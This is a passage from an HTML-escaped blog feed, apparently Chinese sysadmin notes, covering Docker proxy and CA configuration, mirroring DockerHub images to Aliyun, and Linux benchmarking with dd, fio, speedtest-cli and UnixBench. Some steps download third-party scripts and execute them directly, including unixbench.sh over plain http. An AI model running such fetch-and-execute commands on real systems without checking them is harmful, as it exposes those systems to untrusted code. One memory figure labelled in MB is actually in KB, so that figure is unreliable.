&lt;pre data-lang=&quot;vim&quot; class=&quot;language-vim &quot;&gt;&lt;code class=&quot;language-vim&quot; data-lang=&quot;vim&quot;&gt;# CentOS&amp;#x2F;Fedora&amp;#x2F;RHELsudo yum install ca-certificatessudo update-ca-trust force-enablesudo cp cert&amp;#x2F;ca.crt &amp;#x2F;etc&amp;#x2F;pki&amp;#x2F;ca-trust&amp;#x2F;source&amp;#x2F;anchors&amp;#x2F;sudo update-ca-trust
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;3-zhong-qi-docker&quot;&gt;3.重启docker&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl daemon-reloadsudo systemctl restart docker
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;4-ce-shi-shi-fou-zheng-chang-yun-xing&quot;&gt;4.测试是否正常运行&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;apache&quot; class=&quot;language-apache &quot;&gt;&lt;code class=&quot;language-apache&quot; data-lang=&quot;apache&quot;&gt;docker pull registry.k8s.io&amp;#x2F;pause:3.9
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;wu-zhi-jie-pei-zhi-dockerdai-li&quot;&gt;五、直接配置Docker代理&lt;&#x2F;h2&gt;
&lt;p&gt;假设SOCKS 代理地址为 127.0.0.1:1000 ，HTTP 代理地址为 127.0.0.1:2000&lt;&#x2F;p&gt;
&lt;p&gt;首先要确认的是本机是否可以连接到socks和http代理。用以下指令测试节点有效性&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;nginx&quot; class=&quot;language-nginx &quot;&gt;&lt;code class=&quot;language-nginx&quot; data-lang=&quot;nginx&quot;&gt;# SOCKS 代理curl -x socks5:&amp;#x2F;&amp;#x2F;127.0.0.1:1000 ip.sb
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;nginx&quot; class=&quot;language-nginx &quot;&gt;&lt;code class=&quot;language-nginx&quot; data-lang=&quot;nginx&quot;&gt;# HTTP 代理curl -x 127.0.0.1:2000 ip.sb
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;nginx&quot; class=&quot;language-nginx &quot;&gt;&lt;code class=&quot;language-nginx&quot; data-lang=&quot;nginx&quot;&gt;#代用户认证的SOCKS代理curl -x socks5:&amp;#x2F;&amp;#x2F;Username:Password@127.0.0.1:1000 ip.sb
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果返回的是代理的出口IP而不是本机IP，则代表连接成功&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;1.配置Docker镜像代理&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;因为镜像的拉取和管理都是 docker daemon 负责的，而 docker daemon 是由 systemd 管理的，所以要从 systemd 配置入手，给 docker daemon 配置代理。&lt;&#x2F;p&gt;
&lt;p&gt;官方文档： &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.docker.com&#x2F;config&#x2F;daemon&#x2F;systemd&#x2F;#httphttps-proxy&quot;&gt;Configure the daemon with systemd | Docker Docs&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;（a）首先创建 dockerd 相关的 systemd 目录，这种 .d 目录下的配置将覆盖默认配置&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo mkdir -p &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;docker.service.d
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;（b）新建配置文件 &lt;code&gt;http-proxy.conf&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;vim&quot; class=&quot;language-vim &quot;&gt;&lt;code class=&quot;language-vim&quot; data-lang=&quot;vim&quot;&gt;sudo vim &amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;docker.service.d&amp;#x2F;proxy.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;添加配置&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Service]Environment=&amp;quot;HTTP_PROXY=http:&amp;#x2F;&amp;#x2F;127.0.0.1:2000&amp;#x2F;&amp;quot;Environment=&amp;quot;HTTPS_PROXY=http:&amp;#x2F;&amp;#x2F;127.0.0.1:2000&amp;#x2F;&amp;quot;Environment=&amp;quot;NO_PROXY=127.0.0.1,localhost,192.168.*,*.example.com&amp;quot;# 如果 `NO_PROXY=*`，那么所有请求都将不通过代理服务器
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;（c）最后重新加载配置文件，重启 Dockerd 才能生效&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo systemctl daemon-reloadsudo systemctl restart docker
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;检查确认环境变量是否正常配置&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;crmsh&quot; class=&quot;language-crmsh &quot;&gt;&lt;code class=&quot;language-crmsh&quot; data-lang=&quot;crmsh&quot;&gt;sudo systemctl show --property=Environment docker
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;2.配置Docker容器代理&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在容器运行阶段，如果需要代理上网，只需要加上环境变量，比如使用 docker-compose 的话，其配置文件里的环境变量，增加下面三部分即可。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;routeros&quot; class=&quot;language-routeros &quot;&gt;&lt;code class=&quot;language-routeros&quot; data-lang=&quot;routeros&quot;&gt;    environment:        - http_proxy=&amp;quot;192.168.1.11:2000&amp;quot;        - https_proxy=&amp;quot;192.168.1.11:2000&amp;quot;        - no_proxy=&amp;quot;localhost,127.0.0.1,.example.com&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个能不能生效，还得看里面运行的服务，会不会主动撷取环境变量了。&lt;&#x2F;p&gt;
&lt;p&gt;如果容器默认就使用代理，也可以配置 &lt;code&gt;~&#x2F;.docker&#x2F;config.json&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{ &amp;quot;proxies&amp;quot;: {   &amp;quot;default&amp;quot;:   {     &amp;quot;httpProxy&amp;quot;: &amp;quot;http:&amp;#x2F;&amp;#x2F;proxy.example.com:2000&amp;quot;,     &amp;quot;httpsProxy&amp;quot;: &amp;quot;http:&amp;#x2F;&amp;#x2F;proxy.example.com:2000&amp;quot;,     &amp;quot;noProxy&amp;quot;: &amp;quot;localhost,127.0.0.1,.example.com&amp;quot;   } }}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个是用户级的配置，除了 &lt;code&gt;proxies&lt;&#x2F;code&gt;，&lt;code&gt;docker login&lt;&#x2F;code&gt; 等相关信息也会在其中。而且还可以配置信息展示的格式、插件参数等。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;：无论是 &lt;code&gt;docker run&lt;&#x2F;code&gt; 还是 &lt;code&gt;docker build&lt;&#x2F;code&gt;，默认是网络隔绝的。如果代理使用的是 &lt;code&gt;localhost:3128&lt;&#x2F;code&gt; 这类，则会无效。这类仅限本地的代理，必须加上 &lt;code&gt;--network host&lt;&#x2F;code&gt; 才能正常使用。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;3.Docker Build 代理&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;虽然 &lt;code&gt;docker build&lt;&#x2F;code&gt; 的本质，也是启动一个容器，但是环境会略有不同，用户级配置无效。在构建时，需要注入 &lt;code&gt;http_proxy&lt;&#x2F;code&gt; 等参数。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;livescript&quot; class=&quot;language-livescript &quot;&gt;&lt;code class=&quot;language-livescript&quot; data-lang=&quot;livescript&quot;&gt;docker build . \    --build-arg &amp;quot;HTTP_PROXY=http:&amp;#x2F;&amp;#x2F;proxy.example.com:2000&amp;#x2F;&amp;quot; \    --build-arg &amp;quot;HTTPS_PROXY=http:&amp;#x2F;&amp;#x2F;proxy.example.com:2000&amp;#x2F;&amp;quot; \    --build-arg &amp;quot;NO_PROXY=localhost,127.0.0.1,.example.com&amp;quot; \    -t your&amp;#x2F;image:tag
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;wu-li-yong-github-action-jiang-dockerhub-jing-xiang-zhuan-cun-dao-a-li-yun-si-you-cang-ku&quot;&gt;五、利用 Github Action 将 DockerHub 镜像转存到阿里云私有仓库&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Docker Images Pusher&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;使用 Github Action 将 DockerHub 镜像转存到阿里云私有仓库，供国内服务器使用，免费易用&lt;&#x2F;p&gt;
&lt;p&gt;项目地址： &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tech-shrimp&#x2F;docker_image_pusher&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;tech-shrimp&#x2F;docker_image_pusher&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;pei-zhi-a-li-yun&quot;&gt;配置阿里云&lt;&#x2F;h4&gt;
&lt;p&gt;登录阿里云容器镜像服务
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cr.console.aliyun.com&#x2F;&quot;&gt;https:&#x2F;&#x2F;cr.console.aliyun.com&#x2F;&lt;&#x2F;a&gt;
启用个人实例，创建一个命名空间（&lt;strong&gt;ALIYUN_NAME_SPACE&lt;&#x2F;strong&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;访问凭证–&amp;gt;获取环境变量 用户名（&lt;strong&gt;ALIYUN_REGISTRY_USER&lt;&#x2F;strong&gt;)
密码（&lt;strong&gt;ALIYUN_REGISTRY_PASSWORD&lt;&#x2F;strong&gt;)
仓库地址（&lt;strong&gt;ALIYUN_REGISTRY&lt;&#x2F;strong&gt;）&lt;&#x2F;p&gt;
&lt;h4 id=&quot;fork-ben-xiang-mu&quot;&gt;Fork 本项目&lt;&#x2F;h4&gt;
&lt;p&gt;Fork 项目 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tech-shrimp&#x2F;docker_image_pusher&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;tech-shrimp&#x2F;docker_image_pusher&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;进入您自己的项目，点击 Action ，启用 Github Action 功能 配置环境变量，进入 Settings-&amp;gt;Secret and variables-&amp;gt;Actions-&amp;gt;New Repository secret &amp;gt; （原文配图已失效：v2ex 文档图「配置环境变量」） 将上一步的 ALIYUN_NAME_SPACE ，ALIYUN_REGISTRY_USER ，ALIYUN_REGISTRY_PASSWORD ，ALIYUN_REGISTRY 的值配置成环境变量&lt;&#x2F;p&gt;
&lt;h4 id=&quot;tian-jia-jing-xiang&quot;&gt;添加镜像&lt;&#x2F;h4&gt;
&lt;p&gt;打开 images.txt 文件，添加你想要的镜像，可以带 tag ，也可以不用（默认 latest ） 文件提交后自动进入 Github Action 构建&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shi-yong-jing-xiang&quot;&gt;使用镜像&lt;&#x2F;h4&gt;
&lt;p&gt;回到阿里云，镜像仓库，点击任意镜像，可查看镜像状态。(可以改成公开，拉取镜像免登录) &amp;gt; （原文配图已失效：v2ex 文档图「开始使用」）&lt;&#x2F;p&gt;
&lt;p&gt;在国内服务器 pull 镜像：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;stylus&quot; class=&quot;language-stylus &quot;&gt;&lt;code class=&quot;language-stylus&quot; data-lang=&quot;stylus&quot;&gt;docker pull registry.cn-hangzhou.aliyuncs.com&amp;#x2F;shrimp-images&amp;#x2F;alpine
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;registry.cn-hangzhou.aliyuncs.com&#x2F;&quot;&gt;registry.cn-hangzhou.aliyuncs.com&lt;&#x2F;a&gt; 即 ALIYUN_REGISTRY
shrimp-images 即 ALIYUN_NAME_SPACE
alpine 即 images.txt 里面填的镜像&lt;&#x2F;p&gt;
&lt;p&gt;声明：本站原创文章文字版权归本站所有，转载务必注明作者和出处；本站转载文章仅仅代表原作者观点，不代表本站立场，图文版权归原作者所有。如有侵权，请联系我们删除。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux系统如何做性能测试？</title>
        <published>2024-11-18T00:00:00+00:00</published>
        <updated>2024-11-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux系统如何做性能测试/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux系统如何做性能测试/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux系统如何做性能测试/">&lt;h1 id=&quot;linuxxi-tong-ru-he-zuo-xing-neng-ce-shi&quot;&gt;Linux系统如何做性能测试？&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;性能测试&lt;&#x2F;strong&gt;:CPU内存,硬盘IO读写,带宽速度,UnixBench&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;一、CPU物理个数、内核、超线程、多核心&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　1、登录Terminal，执行：cat &#x2F;proc&#x2F;cpuinfo，就会显示出主机的CPU详细参数，如内核、频率、型号等等，以下是我&lt;strong&gt;Linux&lt;&#x2F;strong&gt; 系统主机的CPU：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-perf-testing&#x2F;cat-proc-cpuinfo-output.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　2、主要参数physical_id表示物理CPU个数，cpu cores是内核数，Siblings 表示位于这一物理封装上的逻辑处理器的数量，它们可能支持也可能不支持超线程（HT）&lt;strong&gt;技术&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;　　3、如果有一个以上逻辑处理器拥有相同的 core id 和 physical id，则说明系统支持超线程（HT）技术。如果有两个或两个以上的逻辑处理器拥有 相同的 physical id，但是 core id 不同，则说明这是一个多内核处理器。&lt;&#x2F;p&gt;
&lt;p&gt;　　4、如果“siblings”和“cpu cores”一致，则说明不支持超线程，或者超线程未打开。如果“siblings”是“cpu cores”的两倍，则说明支持超线程，并且超 线程已打开。&lt;&#x2F;p&gt;
&lt;p&gt;　　5、直接查看逻辑CPU的个数，执行：cat &#x2F;proc&#x2F;cpuinfo |grep &#x27;physical id&#x27; |sort |uniq&lt;&#x2F;p&gt;
&lt;p&gt;　　6、直接查看CPU的型号，执行：cat &#x2F;proc&#x2F;cpuinfo |grep &#x27;model name&#x27; |sort |uniq&lt;&#x2F;p&gt;
&lt;p&gt;　　7、单个CPU的内核数，执行：cat &#x2F;proc&#x2F;cpuinfo |grep &#x27;cpu cores&#x27; |sort |uniq&lt;&#x2F;p&gt;
&lt;p&gt;　　8、总的CPU线程数，执行：cat &#x2F;proc&#x2F;cpuinfo |grep &#x27;processor&#x27;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-perf-testing&#x2F;proc-cpuinfo-processor-count.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;**　二、内存大小、交换空间、高速缓存、实际使用内存**&lt;&#x2F;p&gt;
&lt;p&gt;　　1、查看主机的内存信息，执行：cat &#x2F;proc&#x2F;meminfo，主要是看内存大小、交换空间、高速缓存。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-perf-testing&#x2F;cat-proc-meminfo.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-perf-testing&#x2F;proc-meminfo-memory-info.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　2、主机实际使用内存大小。Linux管理内存的机制是这样的：无论物理内存有多大，Linux 都将其充份利用，将一些程序调用过的硬盘数据读入内存，利用内存读写的高速特性来提高Linux系统的数据访问性能。&lt;&#x2F;p&gt;
&lt;p&gt;　　3、即Linux会利用空闲的物理内存，划分出一部份空间，做为 cache 和 buffers ，以此提高数据访问性能。cache主要用来减少对磁盘的I&#x2F;O操作。 所以我们经常能够看到一个总内存为8GB的Linux VPS测试出来占用的内存也是8GB。&lt;&#x2F;p&gt;
&lt;p&gt;　　4、那么如何才能知道Linux真正占用的内存是多少呢？执行命令：free –m&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-perf-testing&#x2F;free-m-memory-usage.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　5、计算主机真实的使用内存方法是：Total-Free-Cached=真实使用内存，即1016912-18584-206944=791384，表示我的主机真实使用的内存是 791384MB。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;三、磁盘IO读写速度测试&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　1、磁盘IO，即输入&#x2F;输出(Input&#x2F;Output)，这是测试磁盘性能一个重要指标。&lt;&#x2F;p&gt;
&lt;p&gt;　　2、测试主机磁盘IO的性能可以执行以下两个命令：&lt;&#x2F;p&gt;
&lt;p&gt;　　dd if=&#x2F;dev&#x2F;zero of=test bs=64k count=4k oflag=dsync&lt;&#x2F;p&gt;
&lt;p&gt;　　dd if=&#x2F;dev&#x2F;zero of=test bs=8k count=256k conv=fdatasync&lt;&#x2F;p&gt;
&lt;p&gt;　　3、conv=fdatasync与oflag=dsync的区别在于：sync函数只是将所有修改过的块缓冲区排入写队列，然后就返回，它并不等待实际写磁盘操作结束。&lt;&#x2F;p&gt;
&lt;p&gt;　　4、而fsync函数只对由文件描述符filedes指定的单一文件起作用，并且等待写磁盘操作结束，然后返回。这是我电脑的硬盘IO测试结果。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-perf-testing&#x2F;dd-disk-io-test-result.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;**四、速度测试：上传下载速度、****&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;product&#x2F;cvm&#x2F;?from_column=20065&amp;amp;from=20065&quot;&gt;服务器&lt;&#x2F;a&gt;**&lt;strong&gt;带宽&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　测试VPS主机入口与出口的带宽一键脚本，执行命令：&lt;&#x2F;p&gt;
&lt;p&gt;　　wget https:&#x2F;&#x2F;github.com&#x2F;sivel&#x2F;speedtest-cli&#x2F;raw&#x2F;master&#x2F;speedtest_cli.py&lt;&#x2F;p&gt;
&lt;p&gt;　　python speedtest_cli.py --share&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-perf-testing&#x2F;speedtest-cli-bandwidth-test.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;五、性能综合测试：UnixBench跑分工具测试&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　1、UnixBench是一款开源的测试 unix 系统基本性能的工具,是比较通用的测试性能的工具，Unixbench的主要测试项目有：系统调用、读写、进程、图形化测试、2D、3D、管道、运算、C库等系统基准性能提供测试数据。&lt;&#x2F;p&gt;
&lt;p&gt;　　2、UnixBench测试的结果不仅仅只是CPU,内存,或者磁盘为基准,还取决于硬件,操作系统版本,编译器，测试系统各个方面一系列的性能,然后将每个 测试结果和一个基准值进行比较,得到一个索引值,所有测试项目的索引值结合在一起形成一个测试分值。&lt;&#x2F;p&gt;
&lt;p&gt;　　3、UnixBench测试执行以下命令：&lt;&#x2F;p&gt;
&lt;p&gt;　　wget http:&#x2F;&#x2F;teddysun.com&#x2F;wp-content&#x2F;uploads&#x2F;unixbench.sh&lt;&#x2F;p&gt;
&lt;p&gt;　　chmod +x unixbench.sh&lt;&#x2F;p&gt;
&lt;p&gt;　　.&#x2F;unixbench.sh&lt;&#x2F;p&gt;
&lt;p&gt;　　4、测试时间可能会比较长，请耐心等待。最后UnixBench会详细列出各个测试项目的得分情况，以及主机性能的综合跑分结果。  如下图，得分为879.7。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-perf-testing&#x2F;unixbench-score-result.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这些测试的结果有一个指数值（INDEX ，如520），这个值是测试系统的测试结果与一个基线&lt;strong&gt;系统测试&lt;&#x2F;strong&gt;结果比较得到的指数值，这样比原始值更容易得到参考价值，测试集合里面所有的测试得到的指数值结合起来得到整个系统的指数值。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fio&quot;&gt;fio&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install fio
# 结果分析，看 IOPS 即可，值越大，性能越好
# 测试随机读 IOPS
fio --ioengine=libaio --bs=4k --direct=1 --thread --time_based --rw=randread --filename=&amp;#x2F;tmp&amp;#x2F;randread.txt --runtime=60 --numjobs=1 --iodepth=1 --group_reporting --name=randread-dep1 --size=1g
# 测试随机写 IOPS
fio --ioengine=libaio --bs=4k --direct=1 --thread --time_based --rw=randwrite --filename=&amp;#x2F;tmp&amp;#x2F;randwrite.txt --runtime=60 --numjobs=1 --iodepth=1 --group_reporting --name=randread-dep1 --size=1g

# 结果分析，看 BW 即可，值越大，性能越好
# 测试顺序读
fio --ioengine=libaio --bs=4k --direct=1 --thread --time_based --rw=read --filename=&amp;#x2F;tmp&amp;#x2F;read.txt --runtime=60 --numjobs=1 --iodepth=1 --group_reporting --name=randread-dep1 --size=1g
# 测试顺序写
fio --ioengine=libaio --bs=4k --direct=1 --thread --time_based --rw=write --filename=&amp;#x2F;tmp&amp;#x2F;write.txt --runtime=60 --numjobs=1 --iodepth=1 --group_reporting --name=randread-dep1 --size=1g

# WAL 文件系统调用 fsync 的延迟分布，当 99% 样本的同步时间小于 10 毫秒就可以认为存储性能能够满足 etcd 的性能要求。
fio --rw=write --ioengine=sync --fdatasync=1 --directory=etcd-bench --size=22m --bs=2300 --name=etcd-bench
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;slat&lt;&#x2F;strong&gt;
&lt;em&gt;Submission latency (min being the minimum, max being the maximum, avg being the average, stdev being the standard deviation). This is the time it took to submit the I&#x2F;O. For sync I&#x2F;O this row is not displayed as the slat is really the completion latency (since queue&#x2F;complete is one operation there). This value can be in nanoseconds, microseconds or milliseconds — fio will choose the most appropriate base and print that (in the example above nanoseconds was the best scale).Note: in --minimal mode latencies are always expressed in microseconds.&lt;&#x2F;em&gt;
&lt;strong&gt;clat&lt;&#x2F;strong&gt;
&lt;em&gt;Completion latency. Same names as slat, this denotes the time from submission to completion of the I&#x2F;O pieces. For sync I&#x2F;O, clat will usually be equal (or very close) to 0, as the time from submit to complete is basically just CPU time (I&#x2F;O has already been done, see slat explanation).&lt;&#x2F;em&gt;
&lt;strong&gt;lat&lt;&#x2F;strong&gt;
&lt;em&gt;Total latency. Same names as slat and clat, this denotes the time from when fio created the I&#x2F;O unit to completion of the I&#x2F;O operation.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now, from these descriptions, I do not understand what is the relation (if there is one) between lat, clat and slat.
While websites (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tobert.github.io&#x2F;post&#x2F;2014-04-17-fio-output-explained.html&quot;&gt;https:&#x2F;&#x2F;tobert.github.io&#x2F;post&#x2F;2014-04-17-fio-output-explained.html&lt;&#x2F;a&gt;) suggest that &lt;strong&gt;lat !=clat+slat&lt;&#x2F;strong&gt;, I would still like to have this somehow clarified.
This can be either by improving the documentation, or at least by explaining better how those are computed so that one can make his understanding.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>笔记 | Linux 性能监视与跑分测试</title>
        <published>2024-11-18T00:00:00+00:00</published>
        <updated>2024-11-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/笔记-linux-性能监视与跑分测试/"/>
        <id>https://vercel.juzhong.asia/obsidian/笔记-linux-性能监视与跑分测试/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/笔记-linux-性能监视与跑分测试/">&lt;h1 id=&quot;bi-ji-linux-xing-neng-jian-shi-yu-pao-fen-ce-shi&quot;&gt;笔记 | Linux 性能监视与跑分测试&lt;&#x2F;h1&gt;
&lt;p&gt;工具：htop, net-tools, ping, iperf, UnixBench 等&lt;&#x2F;p&gt;
&lt;p&gt;Linux 性能测试是运维和&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;product&#x2F;sr?from_column=20065&amp;amp;from=20065&quot;&gt;安全测试&lt;&#x2F;a&gt;相关人员的一门必备技能。了解基本的性能查看命令可以帮助你更全面地了解服务器环境，掌握基本的性能测试能够让你对服务器的运行性能有更细致的了解。这里我整合了一些基本的性能查看与测试技巧，主要包含有基本信息查看、磁盘读写测试、网络通信测试和综合性能跑分测试等，以便日后查阅。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;ji-ben-xin-xi-cha-kan&quot;&gt;&lt;strong&gt;基本信息查看&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;查看 CPU 参数：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;cat &amp;#x2F;proc&amp;#x2F;cpuinfo
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-benchmark-notes&#x2F;cat-proc-cpuinfo.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;该命令会列出 CPU 的详细信息，包括 CPU 个数、核心数、主频、型号等。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;下面这些命令是筛选查看 CPU 的某个信息：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;# 查看逻辑 CPU 的个数：
cat &amp;#x2F;proc&amp;#x2F;cpuinfo | grep &amp;#x27;physical id&amp;#x27; | sort | uniq

# 查看 CPU 的型号：
cat &amp;#x2F;proc&amp;#x2F;cpuinfo | grep &amp;#x27;model name&amp;#x27; | sort | uniq

# 查看单个 CPU 的内核数：
cat &amp;#x2F;proc&amp;#x2F;cpuinfo | grep &amp;#x27;cpu cores&amp;#x27; | sort | uniq

# 查看 CPU 总线程数：
cat &amp;#x2F;proc&amp;#x2F;cpuinfo | grep &amp;#x27;processor&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;查看内存参数：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;cat &amp;#x2F;proc&amp;#x2F;meminfo
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
